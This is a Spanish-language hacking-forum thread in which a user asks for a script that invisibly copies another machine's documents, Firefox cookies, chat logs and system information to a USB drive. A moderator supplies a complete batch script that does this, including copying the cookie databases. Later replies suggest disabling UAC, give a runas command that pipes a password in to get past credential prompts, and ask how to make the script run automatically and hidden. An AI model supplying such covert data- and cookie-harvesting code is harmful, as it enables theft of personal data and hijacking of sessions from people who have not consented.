elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  hacer script vbs para copiar datos a usb
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: hacer script vbs para copiar datos a usb  (Leído 7,765 veces)
daniwxp11

Desconectado Desconectado

Mensajes: 9


Ver Perfil
hacer script vbs para copiar datos a usb
« en: 2 Enero 2012, 23:02 pm »

Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta  a mi pendriver quero copiar
Mis Documentos
Mi Musica
Cokies firefox
Registros conversacion msn
Fondo de escritorio
Escritorio
Lista programas instalados
Informacion pc, ram disco duro etc...
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: hacer script vbs para copiar datos a usb
« Respuesta #1 en: 2 Enero 2012, 23:52 pm »

Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta  a mi pendriver quero copiar
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......

¿Alguna razón en especial por que lo quieres en VBS?
Si quieres te lo puedo hacer en Batch...

Pero sea como sea, Di en que versión de Windows quieres ejecutar el script (y si es x86 o x64), que aqui no somos magos.

Saludos



En línea

daniwxp11

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: hacer script vbs para copiar datos a usb
« Respuesta #2 en: 3 Enero 2012, 01:09 am »

lo siento pensaba que valia para todos los sistemas, es para windows7 x86, y de vbs y me da igual vbs o patch, pero que sea invisible

Salu2
Dani ;)
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: hacer script vbs para copiar datos a usb
« Respuesta #3 en: 3 Enero 2012, 12:54 pm »

Había escrito un mensaje aqui con un code bastante largo y se ha borrado por arte de magia...
(Problemas del foro?)

Por suerte aún guardaba una copia del script. :/



Bueno Daniwxp11 lo que te dije en mi post borrado:

Se me olvidó preguntarte si el batch es para intenciones maliciosas.. .osea, si lo quieres ejecutar oculto. Y si el pendrive se debe detectar automáticamente o te da igual introducirlo manualmente.

Bueno, si necesitas algún cambio, Avisa.

PD: No tengo el MSN de microsoft instalado así que no puedo hacer esa parte del code porque no conozco las rutas de los registros del Msn y/o MSN Plus, pero puedes intentar hacerlo tú mismo de la misma manera que copio las cookies de firefox.

Saludos


Código:
@echo off

Rem By EleKtro H@cker
Rem Visita Foro.ElHacker.Net

Title Proyecto 1
Mode con cols=58 lines=30
Color 7


:Select
:::::

PUSHD "%WINDIR%\System32\"

Echo+
Echo  Unidades disponibles
Echo  ====================
Echo.
For /F "tokens=2-9 Delims=\ " %%a in ('fsutil fsinfo drives') do (
If "%%a" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%a)
If "%%b" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%b)
If "%%c" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%c)
If "%%d" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%d)
If "%%e" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%e)
If "%%f" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%f)
If "%%g" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%g)
)

Echo.
Echo  elige la letra de la unidad de destino.    (Ejemplo: C)
Echo.
set /p DEST=^>^>

If Not defined DEST (
CLS
Goto :Select
) ELSE (
Set DEST=%DEST:~0,1%
Set DEST=%DEST%:
)

If not exist "%Dest%" (
Echo+
Echo   "%DEST%"  Unidad no valida...
Ping -n 3 LocalHost >nul
Set Dest=
Cls
Goto :Select)


:Start
::::::

Cls
Echo+
Echo  %ComputerName% (%username%)
Echo.
Echo  Origen:  %Homedrive%
Echo  Destino: %Dest%
Echo.
Echo ==========================================================

Echo  Copiando Mis documentos...
call :Copy %userprofile%\Documents

Echo.
Echo  Copiando Mi m£sica...
call :Copy %userprofile%\Music

Echo.
Echo  Copiando Escritorio...
call :Copy %userprofile%\Desktop

Echo.
Echo  Copiando Fondo de escritorio...
call :Copy %appdata%\Microsoft\Windows\Themes

Echo.
Echo  Copiando Cookies Firefox...
For /F "tokens=*" %%_ in ('Dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
MKdir "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\"  >nul 2>&1
Copy /Y "%appdata%\Mozilla\Firefox\Profiles\%%_\Cookies.sq*" "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1)

Echo.
Echo  Copiando Conversaciones MSN...
Echo  ... Mentira xD

Echo.
Echo  Extrayendo Informacion del PC...
Systeminfo > "%DEST%\%ComputerName%\Info PC.txt"

Echo.
Echo  Extrayendo Programas instalados...
Echo :Programas instalados: > "%DEST%\%ComputerName%\Programas instalados.txt"
Echo ====================== >>"%DEST%\%ComputerName%\Programas instalados.txt"
CALL :Reg HKLM
CALL :Reg HKCU



Goto :Fin



:SubRutinas:
::::::::::::

:Copy
Set "PATH=%*"
Set "PATH=%PATH::=%"
Xcopy /E /Y "%*" "%DEST%\%ComputerName%\%PATH%\" >nul 2>&1
Goto :EOF

:REG
Setlocal EnableDelayedexpansion
For /F "tokens=*" %%_ in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') Do (
Set KeyName=%%_
Set KeyName=!KeyName:~71!

For /F "tokens=* Skip=2 delims=_" %%a in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\!KeyName!" /V "DisplayName" 2^>nul') Do (
Set Name=%%a
Set Name=!Name:~29!
Echo !NAME!>>"%DEST%\%ComputerName%\Programas instalados.txt"
)
)
Sort "%DEST%\%ComputerName%\Programas instalados.txt" /O "%DEST%\%ComputerName%\Programas instalados.txt"
Setlocal DisableDelayedexpansion
Goto :EOF



:Fin
::::
Echo.
Echo.
Echo.
Echo  Informaci¢n guardada!! :)
Ping -n 5 LocalHost >nul
Exit

 
« Última modificación: 3 Enero 2012, 13:01 pm por EleKtro H@cker » En línea

danixito

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: hacer script vbs para copiar datos a usb
« Respuesta #4 en: 17 Febrero 2012, 00:50 am »

Hola que tal no se si me puedan apoyar,lo que estoy mas o menos queriendo hacer
es

Maquina 1 tiene una usuario A,pero el usuario A se va a otra maquina 2,y desde esa maquina 2 quiere copiar toda la informacion que habia en maquina 1,son usuarios en red registrados en un directorio activo,lo que busco es hacer un batch para poder hacer el copy ,sin necesidad de que me pida credencialesal ingresar a la maquina 1
o en todo caso como podria hacer ellos para incluir dicha opcion ,espero su apoyo

Graciass
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: hacer script vbs para copiar datos a usb
« Respuesta #5 en: 17 Febrero 2012, 01:37 am »

Desactiva el UAC en la máquina 1 y 2. Fin del asunto (Supongo), Sin complicaciones.

Si no puedes porque no eres el dueño, o algo, Prueba esto:
Código:
Echo PASSWORD_DE_LA_CUENTA_DE_MAQUINA_1 | Runas /profile /user:NOMBRE_DEL_PC_MAQUINA_1\NOMBRE_DE_LA_CUENTA_MAQUINA_1 "comandos .........etc"

EJEMPLO:
Código
  1. Echo Hacker | Runas /Profile /User:Elektro STuDioS-PC\Elektro CMD /K Copy "C\archivo" "D:\"
En línea

KMakoto

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: hacer script vbs para copiar datos a usb
« Respuesta #6 en: 7 Mayo 2013, 05:03 am »

Hola, como seria para que este script sea automatico y de modo oculto ¿?
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
programa para copiar datos usando usb
Hacking
tv2q0 7 9,436 Último mensaje 7 Enero 2010, 14:07 pm
por gerard_88
Programa para copiar datos de Excel a Web.
Software
APOKLIPTICO 0 2,706 Último mensaje 20 Mayo 2011, 16:37 pm
por APOKLIPTICO
Script Para copiar archos Batch « 1 2 »
Scripting
Guille270 10 5,914 Último mensaje 2 Marzo 2015, 19:36 pm
por Guille270
¿Script para copiar archivos de un USB a escondidas?(urgente) Linux
GNU/Linux
bastian6039 1 2,113 Último mensaje 12 Diciembre 2015, 22:02 pm
por RevolucionVegana
Script para copiar nombre de imagen en variable
Scripting
Jelopmen 0 1,520 Último mensaje 9 Enero 2019, 05:32 am
por Jelopmen
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines